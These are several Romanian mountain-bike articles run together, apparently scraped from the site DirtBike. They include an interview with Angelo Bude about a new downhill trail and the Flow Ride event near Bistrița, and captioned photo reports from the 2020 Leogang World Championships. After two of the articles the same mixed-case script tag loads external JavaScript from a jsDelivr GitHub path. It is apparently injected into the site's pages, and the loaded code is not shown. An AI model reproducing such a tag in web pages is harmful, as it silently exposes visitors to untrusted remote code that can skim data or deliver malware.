&lt;p&gt;Dar nu trecem la treabă fără a ne aduce aminte că Bistrița a contat pe harta gravitațională a patriei în ultimii 10+ ani și că lucrurile ăstea nu merită uitate. Mai întâi cu brigada Bistritz a lui Miki și John, care n-a lipsit la vreo cursă de DH sau enduro de mult timp încoace, apoi cu gașca vecină Bistrița DH a lui Doctoru&#039; și Angelo, care ne-a adus Flow Ride-urile cele faine, pe dealurile de lângă oraș, unde destul de sigur câțiva rideri de pe la noi au învățat să sară sau să sară mai bine. Ca fapt divers, Doctoru&#039; a avut o prestație absolut onorabilă în etapa de Cupă Mondială de la La Bresse din 2009 și nu este pe degeaba o legendă a scenei locale. Revenim la oamenii de la Bistritz, care nu numai că au organizat enduro pe traseele din jurul orașului, dar au revitalizat și cursa de la Vatra Dornei, care a apucat în sfârșit să vadă o organizare serioasă sub bagheta lor și, în caz că nu știați, au ținut în picioare aproape singuri un sezon competițional 2018, la downhill, enduro și trial, pe partea logistică. Și apoi sunt tinereii. Tinerei din Bistrița care tot apar, se dau bine și au atitudinea potrivită, ceea ce nu este puțin lucru și nu este deloc întâmplător. Acestea sunt câteva linii mari despre scena din Bistrița, cu pălăria ridicată obligatoriu.&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;Cu mic, cu mare la start. - foto: Alexandru Kabos&quot;]

&lt;p&gt;Acum despre cel mai fresh Flow Ride:&lt;/i&gt;&lt;/p&gt;


&lt;p&gt;&lt;b&gt;DirtBike: Salut Angelo! Ce ai mai făcut în cei cinci ani care au trecut de la ultimul Flow Ride?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;Angelo Bude: Salut! Am rămas aproape de scena de gravity, antrenând mai multi tineri de la noi din zonă, și am voluntariat și la FRC în ultimii 3 ani. Pe de altă parte, am încercat să ajung la cât mai multe concursuri de downhill din țară, dar, din păcate, numărul lor a scăzut în ultimii ani. Am și studiat un pic de educatie fizica și sport și mi-am finalizat anul acesta masterul la UBB Cluj Napoca.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;DB: Bun așa! Hai să vorbim despre traseul complet nou! Ce caracteristici are și cum ați ajuns să-l faceți acolo?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Da, avem un traseu nou conceput și proaspăt săpat în ultimele 4 luni la pârtia Cocoș, în apropiere de Bistrița. Are o lungime de 1750 m, cu o diferență de nivel de 260 m. Nu este un traseu ușor, are mult off camber și o primă porțiune care este destul de abruptă. Sunt și porțiuni de jump-uri și turnante (N. R.: contrapante), în care poti duce viteză. Am încercat, pe cât posibil, să îl lăsăm cât mai natural în multe zone.&lt;/p&gt;

[article-image=&quot;3&quot; description=&quot;Pentru EI este totul, pe bune. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Sună excelent! Cine v-a ajutat cu demersul ăsta și cine a muncit la traseu? Ați primit vreun sprijin de la vreun for oficial pentru evenimentul acesta? Bani, logistică?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Inițiativa a fost a asociației Rodo Transilvania, iar sprijinul a venit din partea primăriei Bistrița, care a bugetat 2 trasee, unul cel de concurs și încă unul de flow, cu o lungime de 2800 m. Scopul lor este de a profita de investiția făcută la pârtia Cocos și pe timp de vară. Pot să îi mulțumesc doamnei Adriana Antoneacă, ea ne-a susținut și a demarat acest proiect în primărie și crede în potențialul bike park-ului. Chiar s-a implicat super mult!&lt;/p&gt;

&lt;p&gt;După aceea, am avut un excavatorist super bun, Marius Ros, care a rezolvat multe elemente deja din cupa utilajului, astfel încat noi nu am mai avut foarte mult de finisat. Ca oameni, cel mult sau implicat Lupu și Beavis, fără ei cred că încă eram pe deal și dădeam la sapă! (râde) Au mai lucrat și juniorii din Bistrița, Bebo, Ursu, Florin și Edy, dar sincer, mă așteptam la mai multă implicare din partea lor. Și au mai fost 2-3 care au pus mana, Noni și Linu, de exemplu, și clar angajații de la pârtia Cocoș.&lt;/p&gt;

&lt;p&gt;Pentru event am prins o finantare nerambursabilă de la Primăria Bistrița și niste sponsori din domeniul privat, pe care îi anuțăm pe event-ul de pe Facebook.&lt;/p&gt;

[article-image=&quot;4&quot; description=&quot;”Telescaun la Bistrița” sună parcă dintr-un vis... - foto: Alexandru Kabos&quot;]
[article-image=&quot;5&quot; description=&quot;Mihai Anițan, Matei Moisil și Cipri Mureșan se istovesc împingând până la scaun. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Știu că ai fost foarte proactiv în a încerca să găsești o armonie cu alți organizatori pentru a stabili perioada evenimentului. Ce poți să-mi spui despre asta?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Din păcate, anul acesta nu am reușit să ne organizam și să prindem toate concursurile într-o cupă, cu toate că au fost discuții în sensul acesta. Este și un an ciudat, ținând cont că suntem într-o pandemie, care ne îngreunează un pic munca.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;DB: De ce crezi că se bulucește lumea să facă evenimente doar în lunile august și septembrie, când e tot anul liber?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Nu prea pot să îmi dau seama; noi am făcut anul acesta concursul în august, fiindca nu aveam traseul gata mai devreme și pentru că solul este de așa natură, încât dacă plouă, devine foarte alunecos. Acesta este motivul pentru care nu îl facem mai târziu în toamnă.&lt;/p&gt;

[article-image=&quot;6&quot; description=&quot;Curbele arată bine, băieții și mai bine. - foto: Alexandru Kabos&quot;]
[article-image=&quot;7&quot; description=&quot;Marv e fericit! - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Pe cât de proactiv ai fost tu privind data, tot s-au găsit niște oameni de la Buscat să facă eveniment de enduro concomitent cu voi. Ce sentiment îți trezește lucrul ăsta? Crezi că riderii se vor împărți în două?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Se mai întâmplă să se și intercaleze niște evenimente, dar este păcat. La cât de puține evenimente de genul acesta avem în România, ar fi frumos să avem un calendar bine stabilit.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;DB: Crezi că o să mai avem Cupă Națională în viitorul apropiat?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Eu înca mai am speranța că o să ajungem și la acel nivel!&lt;/p&gt;

[article-image=&quot;8&quot; description=&quot;&lt;i&gt;Anițan be stylin&#039; it.&lt;/i&gt; - foto: Alexandru Kabos&quot;]
[article-image=&quot;9&quot; description=&quot;&lt;i&gt;Dimi is back!&lt;/i&gt; - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Să trecem la aspectele practice! De ce are nevoie cineva care vrea să se înscrie la Flow Ride?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Pentru Flow Ride este nevoie de o asigurare în caz de accidente, de taxa de 150 de lei, de o bicicletă și cel puțin de o cască full-face, dar recomandăm și restul de echipament de protecție: mănuși, goggles, genunchiere, cotiere, protecție dorsală etc. &lt;/p&gt;

&lt;p&gt;&lt;b&gt;DB: Ponturi de cazare și masă în Bistrița și prin împrejurimi? Recomanzi să stea lumea în oraș sau mai aproape de traseu?&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Sunt numai 5 km de la traseu până în oraș, deci nu cred că o să fie o diferență, dacă stai undeva lânga traseu sau în oras. Cele mai multe unități de cazare sunt în oraș, dar din cauza timpului scurt de organizare a evenimentului, nu am apucat să ne concentrăm și pe cazare, așa că fiecare își va alege cazare cum poate și cum dorește. Se poate campa jos în parcarea de la traseu și o să facem after petrechere tot acolo.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Am ratat ceva? Mai e ceva de spus? Dacă da, ce? &lt;/b&gt;&lt;/p&gt;

&lt;p&gt;A. B.: Încercăm să postăm cât mai multe informații utile pentru participanți în zilele ce urmează.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Mulțumim!&lt;/b&gt;&lt;/p&gt;

[article-image=&quot;10&quot; description=&quot;Două generații, două tehnici. - foto: Alexandru Kabos&quot;]
[article-image=&quot;11&quot; description=&quot;E bine! - foto: Alexandru Kabos&quot;]

&lt;p&gt;Toate fotografiile frumoase sunt făcute de Alexandru Kabos la evenimentul de inaugurare și toate drepturile sunt rezervate. Vi le arătăm în continuare și pe celelalte. Enjoy:&lt;/p&gt;

[article-image=&quot;12&quot; description=&quot;Soldații imperiali contraatacă! - foto: Alexandru Kabos&quot;]
[article-image=&quot;13&quot; description=&quot;Și, cum zici că era dropu&#039; din Leogang, boss? - foto: Alexandru Kabos&quot;]
[article-image=&quot;14&quot; description=&quot;Cam așeeeaaa! - foto: Alexandru Kabos&quot;]
[article-image=&quot;15&quot; description=&quot;În lumina impecabilă. - foto: Alexandru Kabos&quot;]
[article-image=&quot;16&quot; description=&quot;O tură prin natură. - foto: Alexandru Kabos&quot;]
[article-image=&quot;17&quot; description=&quot;Uberstyler Dimi se simte bini. - foto: Alexandru Kabos&quot;]
[article-image=&quot;18&quot; description=&quot;Linii moroșeneși și muolduoviniești prin tufele de jos. - foto: Alexandru Kabos&quot;]
[article-image=&quot;19&quot; description=&quot;Angelo făcând ce știe mai bine: învățându-i pe cei mici și ținând prelegeri celor mai mari. - foto: Alexandru Kabos&quot;]
[article-image=&quot;20&quot; description=&quot;Prin livezile de lângă Bistrița. - foto: Alexandru Kabos&quot;]
[article-image=&quot;21&quot; description=&quot;Nutrii? Nu bă, numa&#039; doo! - foto: Alexandru Kabos&quot;]
[article-image=&quot;22&quot; description=&quot;&lt;i&gt;Matei Moisil avec le style.&lt;/i&gt; - foto: Alexandru Kabos&quot;]
[article-image=&quot;23&quot; description=&quot;Mihai Anițan cu celălalt stil, la fel de bun. - foto: Alexandru Kabos&quot;]
[article-image=&quot;24&quot; description=&quot;Cipri Mureșan vrea s-o rezolve moto! - foto: Alexandru Kabos&quot;]
[article-image=&quot;25&quot; description=&quot;Niște scrub cu Mihai. - foto: Alexandru Kabos&quot;]
[article-image=&quot;26&quot; description=&quot;Frige, las-o jos! - foto: Alexandru Kabos&quot;]


&lt;p&gt;Melodie, frumos:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/r\_0sL\_SQYvw&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

&lt;p&gt;Ne vedem la Bistrița!&lt;/p&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Flow Ride 6 - interviu cu Angelo Bude despre curse de DH, trasee noi și nu numai NU BUN

&lt;p&gt;Cu prognoza apocaliptică plutind în aer, lumea prezentă la Campionatul Mondial de la Leogang a tratat ziua de antrenamente de sâmbătă în feluri foarte diferite. Unii s-au hărnicit să ia traseul cu asalt cât mai devreme și să încerce să mai rumege din el cât se poate, alții și-au zis ”Men, oricum n-are nici o legătură cu prognoza de duminică, de ce să-mi mai bat capul?”, au băgat o oră de somn în plus și și-au văzut de altele. Noi am fost dintre primii, că n-am venit aici pentru &lt;i&gt;maxin&#039; &#039;n relaxin&#039;&lt;/i&gt;.&lt;/p&gt;

&lt;p&gt;Din păcate, o mini-apocalipsă a lovit la noi încă de dimineață, cu Luana scrântindu-și glenza dreaptă. Nimic grav, tot zâmbitoare e, dar noi n-avem Țestoasă în finală și e tristețe mare pe partea asta. Nu mă mai lungesc cu vorba, c-avem o finală de prins și nu e timp. De la noi, Paul Someșan intră primul, la 10:21, ora locală, Akos Istvandi e la 14:10, Remus la 14.30. Pentru ora României, mai adăugați o oră. 

&lt;p&gt;Breaking news este că și Vali Höll s-a accidentat la gleznă la antrenamentele de dimineață  și se pare că e out, pfff... Nu tocmai &lt;i&gt;breaking news&lt;/i&gt; e că plouă mocănește. Poze:&lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Cumva bizar, Charlie Hatton este singurul care ține sus steagul Athertonilor la Mondialele acestea, cu Gee scos din schemă și Rachel nevindecată de la accidentarea la tendonul lui Ahile. Charlie nu este însă degeaba în echipa asta de elită și nici în lotul britanic. 48 în calificări, dar fiți cu ochii pe el! - foto: Mx&quot;]

[article-image=&quot;2&quot; description=&quot;Nici un set de poze fără Roger Vieira din Brazilia! - foto: Mx&quot;]

[article-image=&quot;3&quot; description=&quot;Slovacii plănuiesc, iar colegul lor, Dennis Kohut, execută! - foto: Mx&quot;]

[article-image=&quot;4&quot; description=&quot;Cu un 43 în calificări, se pare că Aaron Gwin a devenit din favorit taman &lt;i&gt;underdog&lt;/i&gt;. Dar nu uitați că evenimentul se termină duminică! - foto: Mx&quot;]

[article-image=&quot;5&quot; description=&quot;Neko Mullaly are a doua cea mai celebră manșă fără lanț, pe 4 la Hafjell în 2013 și sigur puțini știu că prezența Cupei Mondiale în Estul subestimat al Statelor Unite este în mare măsură munca lui. Respect! - foto: Mx&quot;]

[article-image=&quot;6&quot; description=&quot;Nu știu ce să mai spun despre Benoit Coulanges ce să se nu se fi spus deja de când a luat Naționalele Franței anul acesta. Poate că a fost unul dintre cei mai preciși și silențioși în secțiunea din vârf? - foto: Mx&quot;]

[article-image=&quot;7&quot; description=&quot;Chestii tipice pentru Leogang. - foto: Mx&quot;]

[article-image=&quot;8&quot; description=&quot;Frix-Frix in the mix-mix! Hugo Frixtalon e altă dovadă pentru cât de ridicol de profund este bazinul de selecție al Franței. E ca și cum te duci cu Ferrari-ul la piață, fiindcă CHIAR nu ai altă mașină mai nașpa! - foto: Mx&quot;]

[article-image=&quot;9&quot; description=&quot;Bernard Kerr, la vreo doi ani după ce cocheta să-și ia carnet de tirist din România, ca să poată conduce camionul Pivot. Asta nu e o glumă. - foto: Mx&quot;]

[article-image=&quot;10&quot; description=&quot;Shark-Attack-Jack a fost robotul zilei: s-a dat până s-a închis sesiunea. Echipa Canyon îi priește, evident. - foto: Mx&quot;]

[article-image=&quot;11&quot; description=&quot;Troy are un mic fan club loial care speră să-l vadă cât mai curând pe prima treaptă. Haida-hai! - foto: Mx&quot;]

[article-image=&quot;12&quot; description=&quot;Reece Wilson se dă ATÂT de fain, că produce mai multe suspine decât Robbie Williams la fanele din primul rând de la concert! - foto: Mx&quot;]

[article-image=&quot;13&quot; description=&quot;Despre Pedro Burns v-am mai spus. N-are cum să nu-ți placă de el: viteză, stil și bun-simț. - foto: Mx&quot;]

[article-image=&quot;14&quot; description=&quot;Cât timp va lua startul, Danny Hart va fi unul dintre favoriți. - foto: Mx&quot;]

[article-image=&quot;15&quot; description=&quot;Lucas Cruz și trenulețul Norco au mers pe șine toată săptămâna. - foto: Mx&quot;]

[article-image=&quot;16&quot; description=&quot;Christopher Grice din Statele Unite - un nume mai puțin cunoscut, care arată însă foarte bine pe traseu! - foto: Mx&quot;]

[article-image=&quot;17&quot; description=&quot;Despre Gwin se șușotea că nu prea e-n apele lui pe traseul acesta. Asta era joi și vineri, sâmbătă e altă treabă, duminică iarăși alta! - foto: Mx&quot;]

[article-image=&quot;18&quot; description=&quot;Loris Vergier a fost de multe ori foarte aproape, dar aceasta este șansa lui de a scrie o pagină de istorie cât se poate de specială. - foto: Mx&quot;]

[article-image=&quot;19&quot; description=&quot;Un plus de presiune pe Loris, împăratul onomatopeelor din World Cup. - foto: Mx&quot;]

[article-image=&quot;20&quot; description=&quot;Brook Macdonald și Kye A&#039;Hern în secțiunea cu sculpturi, înainte ca treaba să devină tricky! - foto: Mx&quot;]

[article-image=&quot;21&quot; description=&quot;Remus Bonta, cel mai rapid rider român, are o șansă bună să producă un rezultat pe care să ni-l aducem aminte, dacă leagă o manșă curată. Încrederea nu lipsește, tehnica e acolo. - foto: Mx&quot;]

[article-image=&quot;22&quot; description=&quot;&lt;i&gt;”Hey, teacher, dau un gapălău!”&lt;/i&gt; Secvențială cu prima încercare a lui Greg de a tripla linia interioară de la buturugi. Nu i-a ieșit din prima, dar... - foto: Mx&quot;]

[article-image=&quot;23&quot; description=&quot;Cel mai titrat din toate timpurile nu știe cu jumătăți de măsură. - foto: Mx&quot;]

[article-image=&quot;24&quot; description=&quot;&lt;i&gt;All in&lt;/i&gt;, chiar dacă uneori trebuie să-i dai, de sar mucii din traseu! - foto: Mx&quot;]

[article-image=&quot;25&quot; description=&quot;”Bos, hai să-ți arăt ceva!” - foto: Mx&quot;]

[article-image=&quot;26&quot; description=&quot;Da-da, Minnaar a triplat de ACOLO până ACOLO! Toate emoji-urile de uimire, vă rog! - foto: Mx&quot;]

[article-image=&quot;27&quot; description=&quot;Cea mai mișto chestie pe care am văzut-o anul acesta la Mondiale a fost Florent Payet dându-i sfaturi lui Minnaar. Să ne înțelegem, Payet, rider activ și el dar neselecționat, este prezent ca spion de linii pentru echipa rivală a Franței. I-a spus ”dă pop ceva mai devreme și o să-ți iasă!” și fix asta s-a întâmplat. Camaraderia dintre rideri este poate cel mai important lucru din sportul nostru,să nu uitați asta! - foto: Mx&quot;]

[article-image=&quot;28&quot; description=&quot;Dacă erați curioși de V10-le lui Greg. - foto: Mx&quot;]

[article-image=&quot;29&quot; description=&quot;Danny a luat altă linie în zona asta, mai sketchy și mai la sol. - foto: Mx&quot;]

[article-image=&quot;30&quot; description=&quot;Condiții de Leogang de sâmbătă. - foto: Mx&quot;]

[article-image=&quot;31&quot; description=&quot;Nu știu cine e băiatul ăsta, dar îi mulțumesc că s-a decis s-o pună pe lateral pe kicker-ul din imagine. - foto: Mx&quot;]

[article-image=&quot;32&quot; description=&quot;Stefan Mauser și Andreas Kolb, Liniile Aeriene Austriece. - foto: Mx&quot;]

[article-image=&quot;33&quot; description=&quot;Când scoți Mauser-ul, toți rămân lați! - foto: Mx&quot;]

[article-image=&quot;34&quot; description=&quot;Știați că... ...Neko Mullaly a debutat în World Cup ca deschizător la Mont Sainte Anne, când încă nu avea vârstă pentru a se da la juniori. Un potențial recunoscut din timp de Martin Whiteley! - foto: Mx&quot;]

[article-image=&quot;35&quot; description=&quot;Mafia Elvețiană de Leogang. În dreapta, cu pantaloni roșii îl aveți pe Noel Niederberger și Noel se dă acum pe un V10 și a fost omul principal în echipa de World Cup NS Bikes, care ne-a adus frumosul Fuzz. Dar acum 8 ani, Noel era junior și se dădea pentru Scott Velosolutions și era singurul care avea pe Gambler niște roți un pic mai mari, pe care puțini le-au observat. Acum le are toată lumea. ;) - foto: Mx&quot;]

[article-image=&quot;36&quot; description=&quot;Un canar în griul de Leogang, Julian Steiner din Germania. - foto: Mx&quot;]

[article-image=&quot;37&quot; description=&quot;Bucurii pentru ochi: Brook și Bernard. - foto: Mx&quot;]

[article-image=&quot;38&quot; description=&quot;Aparatele foto din tot circuitul mondial îi mulțumesc lui Reece Wilson că respiră pe această planetă. - foto: Mx&quot;]

[article-image=&quot;39&quot; description=&quot;Mocănița Commencal 100\%, cu Thomas Estaque și Hugo Frixtalon. - foto: Mx&quot;]

[article-image=&quot;40&quot; description=&quot;Troy, pe unde șanțul e mai adânc. Motocrosiștii râd de noi, credeți-mă. - foto: Mx&quot;]

[article-image=&quot;41&quot; description=&quot;&lt;i&gt;Finn for the win!&lt;/i&gt; Linia asta interioară cu gap, de la intrarea în pădure, nu e pentru toată lumea. - foto: Mx&quot;]

[article-image=&quot;42&quot; description=&quot;Încă o poză cu ciocolata cu alune din pădure. - foto: Mx&quot;]

[article-image=&quot;43&quot; description=&quot;Loris Vergier rezolvă și alunele și ciocolata. Încercați să vă imaginați cum vă explică în cuvintele lui cum a fost secțiunea asta! :D - foto: Mx&quot;]

[article-image=&quot;44&quot; description=&quot;Kye A&#039;hern, foarte sigur pe el unde alții ezitau. - foto: Mx&quot;]

[article-image=&quot;45&quot; description=&quot;Și mai multă ciocolată!  - foto: Mx&quot;]

[article-image=&quot;46&quot; description=&quot;Poate de aici se vede cât de abrupt e! - foto: Mx&quot;]

[article-image=&quot;47&quot; description=&quot;Luca Shaw, &lt;i&gt;the smooth operator&lt;/i&gt;. Poza asta nu e în focus, dar trebuia pusă aici. Trebuia. - foto: Mx&quot;]

[article-image=&quot;48&quot; description=&quot;Singurul Pierron rămas pe felie cu Mondialele de anul ăsta, Baptiste. - foto: Mx&quot;]

[article-image=&quot;49&quot; description=&quot;N-are cum să nu-ți placă de Dakotah Norton, dacă ai o idee despre downhill! - foto: Mx&quot;]

[article-image=&quot;50&quot; description=&quot;Mike Jones nu e în lotul britanic, dar e în echipa MS Mondraker și are grijă să țină ochii deschiși după linii prețioase. Ah, și încă un șanț! - foto: Mx&quot;]

[article-image=&quot;51&quot; description=&quot;Danny Hart, într-un mediu în care ar trebui să se simtă ca peștele-n apă! - foto: Mx&quot;]

[article-image=&quot;52&quot; description=&quot;Greg Minnaar a îmbrățișat trecerea timpului ca un vin bun. - foto: Mx&quot;]

[article-image=&quot;53&quot; description=&quot;Oare ce ne va aduce duminica??? - foto: Mx&quot;]

&lt;p&gt;Pentru o viață mai bună, ascultați The Cure:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/bsUXcQakUno&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Mondiale Leogang 2020 - Ia cu vânt, linii și ciocolată! (photo inside)

&lt;p&gt;E ora locală 5:52 și n-am chef să scriu nici o introducere. Nici măcar nu știu de ce am scris titlul ăsta, dar n-am altă idee mai bună la ora asta. Oricum toată scena e plină de clișee, de la muzica de dat ochi peste cap pusă de DJ la finish (Queen - Bicycle Race, &lt;i&gt;anyone&lt;/i&gt;?), la eternele discuții, veșnicele prognosticuri și frica de marele Bau-Bau numit ”vreme”. Și oricum nu contează.&lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Cele mai clișee de Leogang. - foto: Mx&quot;]

&lt;p&gt;Vineri a fost zi de antrenamente scurte și de calificări, rezultatele probabil că le știți deja: Vali-Tracey-Myriam la fete, Loris-Loic-Finn la băieți, cu niște căzături și niște probleme, iar la juniori și junioare niște oameni de care probabil că n-ați auzit și nici nu vă interesează. Sincer! Ai noștri au mers decent, s-au calificat toți, iar ăsta a fost prilej de mâncat la timp, îngrijit biciclete și culcat devreme. Am urcat puțin la start, cât să mai prind ceva din antrenamentele la Elite, am coborât la finish pentru juniori și fete și, după ce au coborât Akos și Remus, m-am dus la gap-ul mare și m-am pitit în zmeuriș, că atâta m-a dus pe mine capul. Să-i dăm însă cu poze, că n-are nimeni chef de dilemele mele de planning, cu plăcere:&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;&lt;i&gt;The G.O.A.T.&lt;/i&gt; la start, întotdeauna o onoare! - foto: Mx&quot;]

[article-image=&quot;3&quot; description=&quot;Laurie și-a furat-o azi și și-a rupt ligamentele de la o mână, dar e &lt;i&gt;protected&lt;/i&gt;, deci se poate da în finală. Pentru operații mai e timp după. - foto: Mx&quot;]

[article-image=&quot;4&quot; description=&quot;Sharjah Jonsson din Africa de Sud a arătat bine pe traseu în toate zilele ăstea. Da, știu, și ăsta e un clișeu de scris la un photo-caption. - foto: Mx&quot;]

[article-image=&quot;5&quot; description=&quot;Kye A&#039;Hern e în primul lui an la Elite și protejatul lui Troy. - foto: Mx&quot;]

[article-image=&quot;6&quot; description=&quot;Brook Macdonald iara i-a pus pe toți pe jar, cu o căzătură în finală, dar e okay și e și el &lt;i&gt;protected&lt;/i&gt; de anul trecut, ergo se dă și el duminică. - foto: Mx&quot;]

[article-image=&quot;7&quot; description=&quot;Încă niște clasice de Leogangbang. - foto: Mx&quot;]

[article-image=&quot;8&quot; description=&quot;Colegu&#039; de parcare, Mathias Hafner din Germania. - foto: Mx&quot;]

[article-image=&quot;9&quot; description=&quot;Aripa asta cu Vali răstignită pe bicicleta unei concurente directe mi-a adus aminte de o regulă nescrisă din NBA: dacă un anume superstar are adidași pro-model și tu-i porți în mod regulat, nu e o idee bună să-i porți și când joci împotriva lui, că-i dă un avantaj mental asupra ta. - foto: Mx&quot;]

[article-image=&quot;54&quot; description=&quot;Leona Pierrini din Franța și Siel van der Welden din Belgia, adică primele două locuri la junioare. - foto: Mx&quot;]

[article-image=&quot;10&quot; description=&quot;Maximilian Oberhofer de la juniori, deasupra curților din sat. - foto: Mx&quot;]

[article-image=&quot;11&quot; description=&quot;David Ivanjko din Croația a pompat-o până-n finish. - foto: Mx&quot;]

[article-image=&quot;12&quot; description=&quot;Viktor Kolev din Bulgaria, vecinul care a rămas întreg la gap-ul mare. - foto: Mx&quot;]

[article-image=&quot;13&quot; description=&quot;David Cvinger din Cehia, nemulțumit de timp, și juniorii maghiari. - foto: Mx&quot;]

[article-image=&quot;14&quot; description=&quot;Paul Someșan a mers onorabil și a prins din urmă un finlandez. - foto: Mx&quot;]

[article-image=&quot;15&quot; description=&quot;Toate bune pe planeta Paul! - foto: Mx&quot;]

[article-image=&quot;16&quot; description=&quot;Eszti Bereczki in the house! - foto: Mx&quot;]

[article-image=&quot;17&quot; description=&quot;Luke Meier-Smith a mers excelent la Innsbruck, era văzut drept favorit, dar n-a fost să fie! 7 pentru el la juniori. - foto: Mx&quot;]

[article-image=&quot;18&quot; description=&quot;Matthew Sterling a câștigat calificările la juniori, în timp ce irlandezul Chris Cumming s-a dovedit o investiție excelentă pentru YT Mob. Locul doi pentru el. - foto: Mx&quot;]

[article-image=&quot;19&quot; description=&quot;Dacă nu știi cine e omul ăsta, nu exiști în mountainbiking! - foto: Mx&quot;]

[article-image=&quot;20&quot; description=&quot;Luana Cherecheș a dat o manșă cuminte în care a reușit să nu cadă. Mare lucru, ținând cont de circumstanțe. - foto: Mx&quot;]

[article-image=&quot;21&quot; description=&quot;Așa arată o Țestoasă fericită! - foto: Mx&quot;]

[article-image=&quot;22&quot; description=&quot;Noga Korem nu părea deloc mulțumită de locul ei 11. Țineți cont că singura dată când a mai fost la niște Mondiale a fost în 2016 și s-a dat la XC!  - foto: Mx&quot;]

[article-image=&quot;23&quot; description=&quot;Myriam Nicole a avut cel mai bun timp când a ajuns jos, dar nu pentru multă vreme. - foto: Mx&quot;]

[article-image=&quot;24&quot; description=&quot;Tahnee a fost aproape de Myriam Nicole, dar încă nu e clar cât de recuperată-i e glezna. - foto: Mx&quot;]

[article-image=&quot;25&quot; description=&quot;Cui i-e frică de Valentina Höll? - foto: Mx&quot;]

[article-image=&quot;26&quot; description=&quot;Vali i-a dat 14 secunde lui Myriam. Unde să te și uiți altundeva? - foto: Mx&quot;]

[article-image=&quot;27&quot; description=&quot;Camille Balanche a dat gap-ul final de undeva din pod și a aterizat pe 6. - foto: Mx&quot;]

[article-image=&quot;28&quot; description=&quot;Rulează filmul ”Toată lumea vrea o felie din Valentina”. Plus &lt;i&gt;animal print&lt;/i&gt;, baby, &lt;i&gt;animal print&lt;/i&gt;! - foto: Mx&quot;]

[article-image=&quot;29&quot; description=&quot;Ultimul vehicul pe care vrei să-l vezi la vreun concurs. Păsăroiul de aici a venit s-o scoată pe Veronika Widmann din pădure. Veronika a avut o intervenție chirurgicală rapidă (!), dar e bine, &lt;a href=&quot;https://www.facebook.com/verowidmann/&quot; target=&quot;\_blank&quot;&gt;după spusele ei&lt;/a&gt;. - foto: Mx&quot;]

[article-image=&quot;30&quot; description=&quot;Ne-am tot întrebat în prima zi ”Cine dracu&#039; e ăla cu cască Red Bull de la Trek???”. E Pedro Burns din Chile, venit din enduro. Super rapid, super băiețaș! - foto: Mx&quot;]

[article-image=&quot;31&quot; description=&quot;Pedro e simțit și prietenos, fără ifose la purtător. Locul 20 la debut! - foto: Mx&quot;]

[article-image=&quot;32&quot; description=&quot;Akos a plecat al doilea și a izbutit să se califice. - foto: Mx&quot;]

[article-image=&quot;33&quot; description=&quot;O manșă onorabilă pentru clujeanul cu domiciliu de iarnă la &lt;a href=&quot;https://www.facebook.com/Malaga-MTB-camp-105118021350458&quot; target=&quot;\_blank&quot;&gt;Malaga&lt;/a&gt;. - foto: Mx&quot;]

[article-image=&quot;34&quot; description=&quot;”Fără spectatori” înseamnă și ceva mai aproape de legende. I-am avut printre noi la finish, pe lângă Peat, Warner și Barel, pe Andrew Shandro și pe Gabe Fox. - foto: Mx&quot;]

[article-image=&quot;35&quot; description=&quot;Bonta Stratosfericu&#039;! Remus s-a calificat și el, fără emoții. - foto: Mx&quot;]

[article-image=&quot;36&quot; description=&quot;O singură căzătură pentru Remi, deci are ce ameliora în finală! - foto: Mx&quot;]

[article-image=&quot;37&quot; description=&quot;Kye A&#039;Hern demonstrează că nu ai de unde fotografia jump-ul de jos decât din față. Locul 47 pentru australian. - foto: Mx&quot;]

[article-image=&quot;38&quot; description=&quot;Bernard Kerr pe 17, la 14 secunde de lider. - foto: Mx&quot;]

[article-image=&quot;39&quot; description=&quot;Moi-Moi e înapoi-poi la forma sa bună și pe 6 în calificări! - foto: Mx&quot;]

[article-image=&quot;40&quot; description=&quot;Variante pentru săritoarea de jos: Davide Palazzari și Jacob Dickson. - foto: Mx&quot;]

[article-image=&quot;41&quot; description=&quot;Matt Walker, solid pe locul opt! - foto: Mx&quot;]

[article-image=&quot;42&quot; description=&quot;Finn a legat una bună și a ajuns pe trei, hei! - foto: Mx&quot;]

[article-image=&quot;43&quot; description=&quot;Dakotah Norton și dovada clară că ți-ai dat-o: fără cozoroc pe locul 26! - foto: Mx&quot;]

[article-image=&quot;44&quot; description=&quot;Nici cu Charlie Harrison nu mi-e rușine, că nici el nu și-a rupt cozorocul fiindcă și-a dorit asta. Locul 75, dar oricum &lt;i&gt;protected&lt;/i&gt;. - foto: Mx&quot;]

[article-image=&quot;45&quot; description=&quot;Nici Danny Hart n-a avut cea mai curată manșă. Locul 15 și stil cât pentru întreg ProTV-ul. - foto: Mx&quot;]

